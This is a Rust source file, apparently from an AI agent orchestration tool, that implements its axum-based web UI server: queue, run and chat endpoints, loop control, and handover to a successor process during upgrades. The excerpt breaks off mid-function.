1#[cfg(test)]
95pub(crate) mod request_cost;
96
97use std::collections::{HashMap, HashSet};
98use std::convert::Infallible;
99use std::net::{IpAddr, Ipv4Addr, SocketAddr};
100use std::path::{Path as FsPath, PathBuf};
101use std::pin::Pin;
102use std::sync::{Arc, Mutex, MutexGuard, PoisonError};
103use std::time::Duration;
104use tokio::sync::Notify;
105
106use anyhow::{Context, Result};
107use axum::Json;
108use axum::Router;
109use axum::body::Bytes;
110use axum::extract::rejection::JsonRejection;
111use axum::extract::{DefaultBodyLimit, Path, Query, State};
112use axum::http::{HeaderMap, HeaderValue, StatusCode, header};
113use axum::response::sse::{Event, KeepAlive, Sse};
114use axum::response::{IntoResponse, Response};
115use axum::routing::{get, post, put};
116use jiff::Timestamp;
117use serde::{Deserialize, Serialize};
118use tokio_stream::StreamExt as _;
119use tokio_stream::wrappers::ReceiverStream;
120
121use crate::agent;
122use crate::ask::{self, Answer, Question, Questions};
123use crate::config::{AgentKind, Config, Update, UpdateMode};
124use crate::md;
125use crate::notices::{Notice, Notices};
126use crate::persona;
127use crate::persona_icon;
128use crate::proc::Quiet as _;
129use crate::queue::{Queue, Source, Task, TaskStatus, title_from};
130use crate::run::{RunState, RunStatus};
131use crate::talk::{Talk, Talks};
132use crate::{daemon, git, report, repos, run, settings, stats, talk, updater};
133
134pub const DEFAULT_PORT: u16 = 7878;
136
137const POLL: Duration = Duration::from_secs(1);
139
140const KEEPALIVE: Duration = Duration::from_secs(15);
144
145const UPDATE_RECHECK_POLL_MAX: Duration = Duration::from_secs(15 * 60);
156
157const UPDATE_RECHECK_POLL_MIN: Duration = Duration::from_secs(30);
160
161const LIST_DEFAULT: usize = 50;
165const LIST_MAX: usize = 500;
167
168const TITLE_MAX: usize = 72;
170
171const ATTACHMENT_MAX_BYTES: usize = 10 * 1024 * 1024;
180
181const ATTACHMENT_MIME_WHITELIST: [&str; 4] = ["image/png", "image/jpeg", "image/gif", "image/webp"];
187
188const FILENAME_HEADER: &str = "x-filename";
192
193const PANEL_CSP: &str = "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
216 font-src data:; base-uri 'none'; form-action 'none'; \
217 frame-ancestors 'self'";
218
219const INDEX_HTML: &str = include_str!("../assets/ui/index.html");
220const APP_CSS: &str = include_str!("../assets/ui/app.css");
221const APP_JS: &str = include_str!("../assets/ui/app.js");
222
223#[derive(Debug, Clone, Copy, PartialEq, Eq)]
225pub enum Bind {
226 Auto,
228 Addr(IpAddr),
230}
231
232impl std::str::FromStr for Bind {
233 type Err = String;
234
235 fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
239 if s.eq_ignore_ascii_case("auto") {
240 return Ok(Self::Auto);
241 }
242 s.parse()
243 .map(Self::Addr)
244 .map_err(|_| format!("expected `auto` or an IP address, got `{s}`"))
245 }
246}
247
248impl std::fmt::Display for Bind {
249 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
250 match self {
251 Self::Auto => f.write_str("auto"),
252 Self::Addr(addr) => write!(f, "{addr}"),
253 }
254 }
255}
256
257#[derive(Debug, Clone)]
259pub struct Opts {
260 pub bind: Bind,
262 pub port: u16,
264 pub repo: PathBuf,
266 pub open: bool,
269 pub merge: Option<String>,
277}
278
279impl Default for Opts {
280 fn default() -> Self {
281 Self {
282 bind: Bind::Auto,
283 port: DEFAULT_PORT,
284 repo: PathBuf::from("."),
285 open: false,
286 merge: None,
287 }
288 }
289}
290
291#[derive(Debug, Clone)]
297pub struct Ui {
298 queue: Queue,
299 questions: Questions,
300 notices: Notices,
303 talks: Talks,
304 runs: PathBuf,
305 home: PathBuf,
306 repo: PathBuf,
307 worktrees_root: PathBuf,
314 talk_turns: Arc<Mutex<TalkTurns>>,
322 upgrade_gate: Arc<tokio::sync::Mutex<()>>,
326 upgrade_spawned: Arc<std::sync::atomic::AtomicBool>,
329 resuming: Arc<Mutex<HashSet<String>>>,
337 repos_cache: repos::Cache,
341 machine_config: Option<PathBuf>,
345 merge: Option<String>,
347 looping: Arc<Mutex<LoopState>>,
349 launch: Launch,
361 #[cfg(test)]
364 busy_queue_gate: Arc<Mutex<Option<BusyQueueGate>>>,
365}
366
367#[cfg(test)]
387struct BusyQueueGate {
388 reached: tokio::sync::oneshot::Sender<()>,
389 release: std::sync::mpsc::Receiver<()>,
390}
391
392#[cfg(test)]
393impl std::fmt::Debug for BusyQueueGate {
394 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
395 f.debug_struct("BusyQueueGate").finish_non_exhaustive()
396 }
397}
398
399impl Ui {
400 pub fn new(
402 queue: Queue,
403 questions: Questions,
404 talks: Talks,
405 runs: PathBuf,
406 home: PathBuf,
407 repo: PathBuf,
408 ) -> Self {
409 Self {
410 queue,
411 questions,
412 notices: Notices::at(home.join("notifications")),
413 talks,
414 runs,
415 home,
416 repo,
417 worktrees_root: run::default_worktree_root(),
421 talk_turns: Arc::default(),
422 upgrade_gate: Arc::default(),
423 upgrade_spawned: Arc::default(),
424 resuming: Arc::default(),
425 repos_cache: repos::Cache::new(),
426 machine_config: Config::machine_layer(),
427 merge: None,
428 looping: Arc::default(),
429 launch: launch_daemon,
430 #[cfg(test)]
431 busy_queue_gate: Arc::default(),
432 }
433 }
434
435 pub fn open(repo: PathBuf) -> Self {
438 Self::new(
439 Queue::open(),
440 Questions::open(),
441 Talks::open(),
442 run::runs_root(),
443 run::home(),
444 repo,
445 )
446 }
447
448 #[must_use]
455 pub fn with_merge(mut self, merge: Option<String>) -> Self {
456 self.merge = merge;
457 self
458 }
459
460 #[cfg(test)]
463 #[must_use]
464 fn with_machine_config(mut self, path: Option<PathBuf>) -> Self {
465 self.machine_config = path;
466 self
467 }
468
469 #[must_use]
474 pub fn with_worktrees_root(mut self, root: PathBuf) -> Self {
475 self.worktrees_root = root;
476 self
477 }
478
479 #[cfg(test)]
484 #[must_use]
485 fn with_launch(mut self, launch: Launch) -> Self {
486 self.launch = launch;
487 self
488 }
489
490 #[cfg(test)]
500 fn set_busy_queue_gate(&self, gate: BusyQueueGate) {
501 *self
502 .busy_queue_gate
503 .lock()
504 .unwrap_or_else(PoisonError::into_inner) = Some(gate);
505 }
506
507 fn looping(&self) -> Arc<Mutex<LoopState>> {
509 Arc::clone(&self.looping)
510 }
511
512 fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
519 if let Some(other) = foreign {
520 return Err(ApiError::conflict(format!(
521 "{} is already running the loop, so this one will not start a \
522 second: two loops on one queue race for the same claims and \
523 burn the agent quota twice over. Stop it where it was \
524 started.",
525 other.who()
526 )));
527 }
528 let mut state = self.lock_loop();
529 if state.live.as_ref().is_some_and(Live::alive) {
530 return Err(ApiError::conflict(format!(
531 "this magi web process (pid {}) is already running the loop",
532 std::process::id()
533 )));
534 }
535
536 let stop = daemon::Stop::new();
537 let opts = daemon::Opts {
541 repo: self.repo.clone(),
542 merge: self.merge.clone(),
543 worktrees_root: Some(self.worktrees_root.clone()),
550 ..daemon::Opts::default()
551 };
552 let launch = self.launch;
553 let looping = Arc::clone(&self.looping);
554 let handle = tokio::spawn({
555 let opts = opts.clone();
556 let stop = stop.clone();
557 async move {
558 let failure = match launch(opts, stop).await {
559 Ok(()) => None,
560 Err(e) => Some(format!("{e:#}")),
561 };
562 match &failure {
563 Some(why) => tracing::error!("the loop stopped: {why}"),
564 None => tracing::info!("the loop stopped"),
565 }
566 let mut state = lock_or_recover(&looping);
572 state.live = None;
573 state.last_error = failure;
574 state.rev += 1;
575 }
576 });
577 tracing::info!(
578 "the loop is now running in this process: repo {}, merge {}",
579 opts.repo.display(),
580 opts.merge.as_deref().unwrap_or("as the config says")
581 );
582 state.live = Some(Live { stop, handle, opts });
583 state.last_error = None;
586 state.rev += 1;
587 Ok(())
588 }
589
590 fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
596 if let Some(other) = foreign {
597 return Err(ApiError::conflict(format!(
598 "the loop belongs to {}, and this process cannot stop it - \
599 stop it where it was started. A button that silently did \
600 nothing would be worse than this refusal.",
601 other.who()
602 )));
603 }
604 let mut state = self.lock_loop();
605 if !park {
608 state.resume_after_handover = false;
609 }
610 let Some(live) = state.live.as_ref() else {
611 return Ok(());
612 };
613 if live.stop.stopped() && (!park || live.stop.parking()) {
617 return Ok(());
618 }
619 if park {
620 live.stop.park();
621 tracing::info!("the loop was asked to park; the run stops at its next node boundary");
622 } else {
623 live.stop.stop();
624 tracing::info!("the loop was asked to stop; a run in flight is finished first");
625 }
626 state.rev += 1;
627 Ok(())
628 }
629
630 fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
637 let state = self.lock_loop();
638 let live = state.live.as_ref().filter(|live| live.alive());
641 LoopView {
642 running: live.is_some(),
643 stopping: live.is_some_and(|live| live.stop.finishing()),
644 parking: live.is_some_and(|live| live.stop.parking()),
645 owned: live.is_some(),
646 repo: live
647 .map_or(&self.repo, |live| &live.opts.repo)
648 .display()
649 .to_string(),
650 merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
651 last_error: state.last_error.clone(),
652 daemon: DaemonView::of(reading),
653 }
654 }
655
656 fn resume_after_handover(&self, resume: bool) -> bool {
662 if !resume {
663 return false;
664 }
665 let foreign = Foreign::of(daemon::read_status(&self.home).as_ref());
666 match self.start_loop(foreign) {
667 Ok(()) => true,
668 Err(e) => {
669 let why = format!(
670 "the loop could not be resumed after the upgrade: {}",
671 e.message
672 );
673 tracing::warn!("{why}");
674 let mut state = self.lock_loop();
675 state.last_error = Some(why);
676 state.rev += 1;
677 false
678 }
679 }
680 }
681
682 fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
684 lock_or_recover(&self.looping)
685 }
686
687 fn is_thinking(&self, id: &str) -> bool {
693 self.talk_turns
694 .lock()
695 .is_ok_and(|turns| turns.live.contains(id))
696 || self.talks.turn_held(id)
699 }
700
701 fn begin_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
720 self.claim_talk_turn(id, false)
721 }
722
723 fn begin_queued_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
726 self.claim_talk_turn(id, true)
727 }
728
729 fn claim_talk_turn(&self, id: &str, queued: bool) -> ApiResult<Option<TalkTurnGuard>> {
730 let mut live = self
731 .talk_turns
732 .lock()
733 .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
734 if live.parking {
735 if queued {
736 *live.queued.entry(id.to_owned()).or_default() += 1;
739 return Ok(None);
740 }
741 return Err(ApiError::conflict(UPGRADE_IN_PROGRESS));
742 }
743 let inserted = live.live.insert(id.to_owned());
744 let lease = if inserted {
748 match self.talks.claim_turn(id) {
749 Ok(Some(lease)) => Some(lease),
750 Ok(None) => {
751 live.live.remove(id);
752 None
753 }
754 Err(e) => {
755 live.live.remove(id);
756 return Err(ApiError::from(e));
757 }
758 }
759 } else {
760 None
761 };
762 if lease.is_none() {
763 if queued {
764 *live.queued.entry(id.to_owned()).or_default() += 1;
769 }
770 return Ok(None);
771 }
772 Ok(Some(TalkTurnGuard {
773 talk: id.to_owned(),
774 turns: Arc::clone(&self.talk_turns),
775 released: false,
776 lease,
777 }))
778 }
779
780 fn begin_talk_turn_unless_pending(&self, id: &str) -> ApiResult<TalkTurnStart> {
785 let mut live = self
786 .talk_turns
787 .lock()
788 .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
789 if live.parking || live.live.contains(id) {
791 return Ok(TalkTurnStart::Busy);
792 }
793 let Some(lease) = self.talks.claim_turn(id).map_err(ApiError::from)? else {
794 return Ok(TalkTurnStart::Foreign);
795 };
796 let talk = self.talks.get(id).map_err(ApiError::from)?;
798 if !talk.pending.is_empty() || !talk.pending_attachments.is_empty() {
799 return Ok(TalkTurnStart::Pending);
800 }
801 live.live.insert(id.to_owned());
802 Ok(TalkTurnStart::Claimed(TalkTurnGuard {
803 talk: id.to_owned(),
804 turns: Arc::clone(&self.talk_turns),
805 released: false,
806 lease: Some(lease),
807 }))
808 }
809
810 fn queued_generation(&self, id: &str) -> u64 {
811 let live = self
812 .talk_turns
813 .lock()
814 .unwrap_or_else(PoisonError::into_inner);
815 live.queued.get(id).copied().unwrap_or(0)
816 }
817
818 fn turns(&self) -> Arc<Mutex<TalkTurns>> {
820 Arc::clone(&self.talk_turns)
821 }
822
823 fn park_for_upgrade(&self) -> ApiResult<Option<String>> {
830 let parking = {
831 let mut state = self.lock_loop();
832 let resume = state.resume_after_handover
842 || state
843 .live
844 .as_ref()
845 .is_some_and(|live| live.alive() && !live.stop.stopped());
846 state.resume_after_handover = resume;
847 let Some(live) = state.live.as_ref() else {
848 return Ok(None);
849 };
850 let busy = live.stop.busy_now();
851 live.stop.park();
852 state.rev += 1;
853 busy
854 };
855 Ok(if parking {
856 daemon::current_work(&self.home, jiff::Timestamp::now())
861 .into_iter()
862 .next()
863 .map(|c| c.run)
864 } else {
865 None
866 })
867 }
868
869 fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
873 let mut live = self
874 .resuming
875 .lock()
876 .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
877 if !live.insert(id.to_owned()) {
878 return Err(ApiError::conflict(format!(
879 "run {id} is already being resumed"
880 )));
881 }
882 Ok(ResumeGuard {
883 run: id.to_owned(),
884 resuming: Arc::clone(&self.resuming),
885 })
886 }
887
888 pub fn router(self) -> Router {
896 Router::new()
897 .route("/", get(index))
898 .route("/app.css", get(app_css))
899 .route("/app.js", get(app_js))
900 .route("/api/health", get(health))
901 .route("/api/loop", get(loop_get).post(loop_post))
902 .route("/api/upgrade", post(upgrade_post))
903 .route("/api/runs", get(runs_list))
904 .route("/api/runs/{id}", get(run_detail).delete(run_delete))
905 .route("/api/runs/{id}/report", get(run_report))
906 .route("/api/runs/{id}/report.json", get(run_report_json))
907 .route("/api/runs/{id}/fold", post(run_fold))
908 .route("/api/runs/{id}/fold-merged", post(run_fold_merged))
909 .route("/api/runs/{id}/resume", post(run_resume))
910 .route("/api/queue", get(queue_list))
911 .route("/api/search", get(search_get))
912 .route("/api/queue/{id}", get(task_detail).delete(queue_delete))
913 .route("/api/stats", get(stats_get))
914 .route("/api/repos", get(repos_list))
915 .route("/api/settings", get(settings_get))
916 .route("/api/settings/roles", put(settings_put_roles))
917 .route("/api/queue/{id}/hold", post(queue_hold))
918 .route("/api/queue/{id}/release", post(queue_release))
919 .route("/api/queue/{id}/priority", post(queue_priority))
920 .route("/api/queue/{id}/implementers", post(queue_implementers))
921 .route("/api/queue/{id}/edit", post(queue_edit))
922 .route("/api/queue/{id}/done", post(queue_done))
923 .route("/api/questions", get(questions_list))
924 .route("/api/questions/{id}/answer", post(question_answer))
925 .route("/api/questions/{id}/say", post(question_say))
926 .route("/api/questions/{id}/consult", post(question_consult))
927 .route("/api/questions/{id}/panel", get(question_panel))
928 .route("/api/questions/{id}/panel/index.html", get(question_panel))
936 .route("/api/questions/{id}/panel/{name}", get(question_asset))
937 .route("/api/questions/{id}/asset/{name}", get(question_asset))
938 .route("/api/notifications", get(notifications_list))
939 .route("/api/notifications/read-all", post(notifications_read_all))
940 .route("/api/notifications/{id}/read", post(notification_read))
941 .route(
942 "/api/notifications/{id}/dismiss",
943 post(notification_dismiss),
944 )
945 .route("/api/talks", get(talks_list).post(talk_post))
946 .route("/api/talks/{id}", get(talk_detail).delete(talk_delete))
947 .route("/api/talks/{id}/say", post(talk_say))
948 .route("/api/talks/{id}/pending/resume", post(talk_pending_resume))
949 .route("/api/talks/{id}/pending/clear", post(talk_pending_clear))
950 .route("/api/talks/{id}/pending/edit", post(talk_pending_edit))
951 .route("/api/talks/{id}/agent", post(talk_agent))
952 .route("/api/talks/{id}/persona", post(talk_persona))
953 .route("/api/talks/{id}/implementers", post(talk_implementers))
954 .route("/api/talks/{id}/close", post(talk_close))
955 .route("/api/talks/{id}/reopen", post(talk_reopen))
956 .route(
962 "/api/talks/{id}/attachments",
963 post(talk_attachment_post).layer(DefaultBodyLimit::max(ATTACHMENT_MAX_BYTES + 1)),
964 )
965 .route(
966 "/api/talks/{id}/attachments/{att}",
967 get(talk_attachment_get),
968 )
969 .route("/api/talks/{id}/avatar", get(talk_avatar))
970 .route("/api/events", get(events))
971 .with_state(Arc::new(self))
972 }
973}
974
975const UPGRADE_IN_PROGRESS: &str = "upgrade in progress, try again in a moment";
978
979#[derive(Debug)]
985struct TalkTurnGuard {
986 talk: String,
987 turns: Arc<Mutex<TalkTurns>>,
988 released: bool,
989 lease: Option<crate::talk::TurnLease>,
991}
992
993#[derive(Debug, Default)]
1000struct TalkTurns {
1001 live: HashSet<String>,
1002 queued: HashMap<String, u64>,
1003 parking: bool,
1007}
1008
1009enum TalkTurnStart {
1012 Claimed(TalkTurnGuard),
1013 Busy,
1014 Foreign,
1017 Pending,
1018}
1019
1020impl TalkTurnGuard {
1021 fn owns(&self) -> bool {
1025 self.lease
1026 .as_ref()
1027 .is_none_or(|lease| !matches!(lease.beat(), Ok(false)))
1028 }
1029
1030 async fn respond(
1033 &self,
1034 talk: &mut Talk,
1035 talks: &Talks,
1036 cfg: &Config,
1037 text: &str,
1038 ) -> anyhow::Result<()> {
1039 let lease = self
1040 .lease
1041 .as_ref()
1042 .context("the turn guard no longer holds its lease")?;
1043 talk::respond(lease, talk, talks, cfg, text).await
1044 }
1045
1046 fn release(mut self, live: &mut TalkTurns) {
1049 self.lease = None;
1053 live.live.remove(&self.talk);
1054 live.queued.remove(&self.talk);
1055 self.released = true;
1056 }
1057}
1058
1059impl Drop for TalkTurnGuard {
1060 fn drop(&mut self) {
1061 if self.released {
1062 return;
1063 }
1064 drop(self.lease.take());
1066 if let Ok(mut live) = self.turns.lock() {
1067 live.live.remove(&self.talk);
1068 live.queued.remove(&self.talk);
1069 }
1070 }
1071}
1072
1073struct ResumeGuard {
1075 run: String,
1076 resuming: Arc<Mutex<HashSet<String>>>,
1077}
1078
1079impl Drop for ResumeGuard {
1080 fn drop(&mut self) {
1081 if let Ok(mut live) = self.resuming.lock() {
1082 live.remove(&self.run);
1083 }
1084 }
1085}
1086
1087async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
1097 const WINDOW: Duration = Duration::from_secs(10);
1098 const GAP: Duration = Duration::from_millis(250);
1099
1100 let deadline = std::time::Instant::now() + WINDOW;
1101 let mut said = false;
1102 loop {
1103 match tokio::net::TcpListener::bind(socket).await {
1104 Ok(listener) => return Ok(listener),
1105 Err(e)
1106 if e.kind() == std::io::ErrorKind::AddrInUse
1107 && std::time::Instant::now() < deadline =>
1108 {
1109 if !said {
1110 said = true;
1111 tracing::info!(
1112 "{socket} is still held - waiting up to {}s for it, \
1113 which is what a restart looks like from here",
1114 WINDOW.as_secs()
1115 );
1116 }
1117 tokio::time::sleep(GAP).await;
1118 }
1119 Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
1120 }
1121 }
1122}
1123
1124static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
1127
1128const RESUME_LOOP_ENV: &str = "MAGI_WEB_RESUME_LOOP";
1130
1131fn resume_requested(value: Option<std::ffi::OsString>) -> bool {
1133 value.is_some_and(|v| v == "1")
1134}
1135
1136fn spawn_successor(home: &FsPath, resume: bool) -> Result<u32> {
1159 let exe = std::env::current_exe().context("find this binary")?;
1160 let args: Vec<String> = std::env::args().skip(1).collect();
1161 updater::log_step(
1162 home,
1163 &format!("restarting: {} {}", exe.display(), args.join(" ")),
1164 );
1165 let log_path = home.join(WEB_LOG);
1166 let open_log = || {
1167 std::fs::create_dir_all(home)?;
1168 std::fs::OpenOptions::new()
1169 .create(true)
1170 .append(true)
1171 .open(&log_path)
1172 };
1173 let (out, err) = match open_log().and_then(|f| Ok((f.try_clone()?, f))) {
1174 Ok(pair) => (
1175 std::process::Stdio::from(pair.0),
1176 std::process::Stdio::from(pair.1),
1177 ),
1178 Err(e) => {
1179 updater::log_warn(
1180 home,
1181 &format!(
1182 "could not open {}: {e}; the successor logs nowhere",
1183 log_path.display()
1184 ),
1185 );
1186 (std::process::Stdio::null(), std::process::Stdio::null())
1187 }
1188 };
1189
1190 let mut cmd = std::process::Command::new(&exe);
1191 if resume {
1192 cmd.env(RESUME_LOOP_ENV, "1");
1193 } else {
1194 cmd.env_remove(RESUME_LOOP_ENV);
1195 }
1196 cmd.args(&args)
1197 .stdin(std::process::Stdio::null())
1198 .stdout(out)
1199 .stderr(err);
1200 #[cfg(windows)]
1201 {
1202 use std::os::windows::process::CommandExt as _;
1203 cmd.creation_flags(0x0000_0008 | 0x0000_0200);
1206 }
1207 let child = cmd.spawn().context("start the successor")?;
1208 Ok(child.id())
1209}
1210
1211const WEB_LOG: &str = "web.log";
1213
1214async fn wait_for_handover(signal: &Notify) {
1218 signal.notified().await;
1219}
1220
1221pub async fn serve(opts: Opts) -> Result<()> {
1246 let (addr, warning) = resolve_bind(&opts.bind);
1247 if let Some(warning) = warning {
1248 tracing::warn!("{warning}");
1249 }
1250
1251 report::set_color(false);
1257
1258 let repo = normalize_default_repo(opts.repo).await;
1259 let ui = Ui::open(repo).with_merge(opts.merge);
1260 let home = ui.home.clone();
1265 let repo = ui.repo.clone();
1266 updater::reconcile_after_restart(&home);
1271 updater::log_step(
1272 &home,
1273 &format!(
1274 "web process started (version {}); handover log {}, successor output {}",
1275 env!("CARGO_PKG_VERSION"),
1276 updater::log_path(&home).display(),
1277 home.join(WEB_LOG).display()
1278 ),
1279 );
1280 updater::spawn_watchdog(home.clone());
1281 tokio::spawn(run_update_recheck(repo, home.clone()));
1290 let looping = ui.looping();
1291 let turns = ui.turns();
1292 let talk_store = ui.talks.clone();
1293 let socket = SocketAddr::new(addr, opts.port);
1294 let listener = bind_waiting(socket).await?;
1295 let url = format!("http://{addr}:{}", opts.port);
1296 tracing::info!(
1297 "magi web UI on {url} - there is no authentication, so anyone who can \
1298 reach this address can file and hold tasks: the tailnet is the \
1299 security boundary"
1300 );
1301 if ui.resume_after_handover(resume_requested(std::env::var_os(RESUME_LOOP_ENV))) {
1302 tracing::info!("resumed the loop the predecessor was running");
1303 } else {
1304 tracing::info!(
1305 "the queue loop is not running yet - start it from the UI, which is \
1306 the whole reason this process can: nothing in the queue moves until \
1307 something is running the loop"
1308 );
1309 }
1310 if opts.open {
1311 println!("{url}");
1315 }
1316
1317 let mut served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
1320 let interrupted = async {
1321 if tokio::signal::ctrl_c().await.is_err() {
1322 std::future::pending::<()>().await;
1327 }
1328 };
1329 let handover = wait_for_handover(&HANDOVER);
1330 let outcome = tokio::select! {
1331 joined = &mut served => match joined {
1332 Ok(outcome) => outcome.context("serve the web UI"),
1333 Err(e) => Err(e).context("the task serving the web UI ended"),
1334 },
1335 () = interrupted => {
1336 tracing::info!("shutting down the web UI");
1337 finish_loop(&home, &looping, None).await;
1338 Ok(())
1339 }
1340 () = handover => {
1341 updater::log_step(&home, "serve: the select! woke on the handover signal");
1342 let successor_home = home.clone();
1343 let wait_for = move |ids: &[String]| talk_wait_for(&talk_store, ids);
1344 hand_over(&home, &looping, &turns, &wait_for, served, move |resume| {
1345 spawn_successor(&successor_home, resume)
1346 })
1347 .await
1348 }
1349 };
1350 updater::log_step(
1351 &home,
1352 &match &outcome {
1353 Ok(()) => "serve: returning Ok; the process should exit now".to_owned(),
1354 Err(e) => format!("serve: returning an error: {e:#}"),
1355 },
1356 );
1357 outcome
1358}
1359
1360async fn normalize_default_repo(repo: PathBuf) -> PathBuf {
1381 if repo != FsPath::new(".") {
1382 return repo;
1383 }
1384 let Ok(canonical) = repo.canonicalize() else {
1385 return repo;
1386 };
1387 if git::toplevel(&canonical).await.is_ok() {
1388 return repo;
1389 }
1390 let Some(home) = dirs::home_dir() else {
1391 return repo;
1392 };
1393 match repos::discover_verified(&home, &[], None, updater::repo_name()).await {
1394 Some(found) => {
1395 tracing::info!(
1396 "the default --repo `.` ({}) is not a git checkout; using {} instead - {}",
1397 canonical.display(),
1398 found.path.display(),
1399 found.reason,
1400 );
1401 found.path
1402 }
1403 None => repo,
1404 }
1405}
1406
1407async fn hand_over(
1437 home: &FsPath,
1438 looping: &Mutex<LoopState>,
1439 turns: &Arc<Mutex<TalkTurns>>,
1440 talk_wait: &(dyn Fn(&[String]) -> Duration + Sync),
1441 served: tokio::task::JoinHandle<std::io::Result<()>>,
1442 successor: impl FnOnce(bool) -> Result<u32>,
1443) -> Result<()> {
1444 updater::log_step(home, "hand_over: entered; writing the parking stage");
1445 let (mut lease, recorded) = updater::LeaseGuard::enter_parking(home);
1449 if !recorded {
1450 updater::log_warn(
1451 home,
1452 "hand_over: upgrade.json is unreadable; no parking stage",
1453 );
1454 }
1455 finish_loop(home, looping, Some(&mut lease)).await;
1460 let parking = ParkingTurns::begin(turns);
1461 let talks_done = finish_talks(home, turns, talk_wait);
1462 tokio::pin!(talks_done);
1463 let mut beat = tokio::time::interval(LEASE_BEAT);
1464 let (abandoned, waited_for) = loop {
1465 tokio::select! {
1466 left = &mut talks_done => break left,
1467 _ = beat.tick() => lease.beat(),
1468 }
1469 };
1470 drop(lease);
1471 updater::log_step(home, "hand_over: releasing the listener (abort and await)");
1472 served.abort();
1473 let _ = served.await;
1474 updater::log_step(home, "hand_over: listener released");
1475 let resume = lock_or_recover(looping).resume_after_handover;
1478 match updater::read_progress(home) {
1479 Some(mut progress) => {
1480 progress.advance(updater::Stage::Restarting);
1481 if !abandoned.is_empty() {
1482 progress.detail = Some(format!(
1483 "handed over while {} still running after {} s",
1484 updater::talks_phrase(&abandoned),
1485 waited_for.as_secs()
1486 ));
1487 }
1488 updater::write_progress_logged(home, &progress);
1489 }
1490 None => updater::log_warn(
1491 home,
1492 "hand_over: upgrade.json is unreadable; no restarting stage",
1493 ),
1494 }
1495 updater::log_step(
1496 home,
1497 &format!("hand_over: starting the successor (resume={resume})"),
1498 );
1499 drop(parking);
1500 match successor(resume) {
1501 Ok(pid) => {
1502 updater::log_step(home, &format!("hand_over: successor started, pid {pid}"));
1503 Ok(())
1504 }
1505 Err(e) => {
1506 updater::log_warn(
1507 home,
1508 &format!("hand_over: the successor did not start: {e:#}"),
1509 );
1510 Err(e)
1511 }
1512 }
1513}
1514
1515const TALK_PARK_GRACE: Duration = Duration::from_secs(60);
1518
1519const TALK_POLL: Duration = Duration::from_millis(250);
1521
1522fn talk_wait_bound(timeout_talk_secs: u64) -> Duration {
1525 Duration::from_secs(timeout_talk_secs) + TALK_PARK_GRACE
1526}
1527
1528fn talk_wait_for(talks: &Talks, ids: &[String]) -> Duration {
1533 let default = Config::default().graph.timeout_talk;
1534 let longest = ids
1535 .iter()
1536 .map(|id| {
1537 talks
1538 .get(id)
1539 .ok()
1540 .and_then(|t| Config::discover(&t.repo, None).ok())
1541 .map_or(default, |(c, _)| c.graph.timeout_talk)
1542 })
1543 .max()
1544 .unwrap_or(default);
1545 talk_wait_bound(longest)
1546}
1547
1548struct ParkingTurns(Arc<Mutex<TalkTurns>>);
1552
1553impl ParkingTurns {
1554 fn begin(turns: &Arc<Mutex<TalkTurns>>) -> Self {
1555 turns.lock().unwrap_or_else(PoisonError::into_inner).parking = true;
1556 Self(Arc::clone(turns))
1557 }
1558}
1559
1560impl Drop for ParkingTurns {
1561 fn drop(&mut self) {
1562 self.0
1563 .lock()
1564 .unwrap_or_else(PoisonError::into_inner)
1565 .parking = false;
1566 }
1567}
1568
1569async fn finish_talks(
1574 home: &FsPath,
1575 turns: &Mutex<TalkTurns>,
1576 bound_for: &(dyn Fn(&[String]) -> Duration + Sync),
1577) -> (Vec<String>, Duration) {
1578 let running = || {
1579 let mut ids: Vec<String> = turns
1580 .lock()
1581 .unwrap_or_else(PoisonError::into_inner)
1582 .live
1583 .iter()
1584 .cloned()
1585 .collect();
1586 let talks = talk::Talks::at(home.join("talks"));
1589 for t in talks.list() {
1590 if talks.turn_held(&t.id) && !ids.contains(&t.id) {
1591 ids.push(t.id);
1592 }
1593 }
1594 ids.sort();
1595 ids
1596 };
1597 let started = std::time::Instant::now();
1598 let mut seen = Vec::new();
1599 let mut bound = Duration::ZERO;
1600 loop {
1601 let ids = running();
1602 if ids != seen {
1603 bound = bound.max(bound_for(&ids));
1604 if ids.is_empty() {
1605 updater::log_step(home, "finish_talks: no chat turn is running");
1606 } else {
1607 updater::log_step(
1608 home,
1609 &format!(
1610 "finish_talks: waiting for {} to finish",
1611 updater::talks_phrase(&ids)
1612 ),
1613 );
1614 }
1615 updater::set_parked_talks(home, &ids);
1616 seen = ids;
1617 }
1618 if seen.is_empty() {
1619 return (Vec::new(), bound);
1620 }
1621 if started.elapsed() >= bound {
1622 updater::log_warn(
1623 home,
1624 &format!(
1625 "finish_talks: {} still running after {} s; handing over anyway",
1626 updater::talks_phrase(&seen),
1627 bound.as_secs()
1628 ),
1629 );
1630 return (seen, bound);
1631 }
1632 tokio::time::sleep(TALK_POLL).await;
1633 }
1634}
1635
1636const LEASE_BEAT: Duration = Duration::from_secs(20);
1639
1640async fn finish_loop(
1647 home: &FsPath,
1648 state: &Mutex<LoopState>,
1649 mut lease: Option<&mut updater::LeaseGuard>,
1650) {
1651 let live = lock_or_recover(state).live.take();
1652 let Some(live) = live else {
1653 updater::log_step(home, "finish_loop: no loop running; nothing to wait for");
1654 return;
1655 };
1656 live.stop.stop();
1657 lock_or_recover(state).rev += 1;
1658 updater::log_step(
1659 home,
1660 "finish_loop: waiting for the loop to finish the run in flight",
1661 );
1662 let waited = std::time::Instant::now();
1663 let mut handle = live.handle;
1666 let mut beat = tokio::time::interval(LEASE_BEAT);
1667 loop {
1668 tokio::select! {
1669 _ = &mut handle => break,
1670 _ = beat.tick() => {
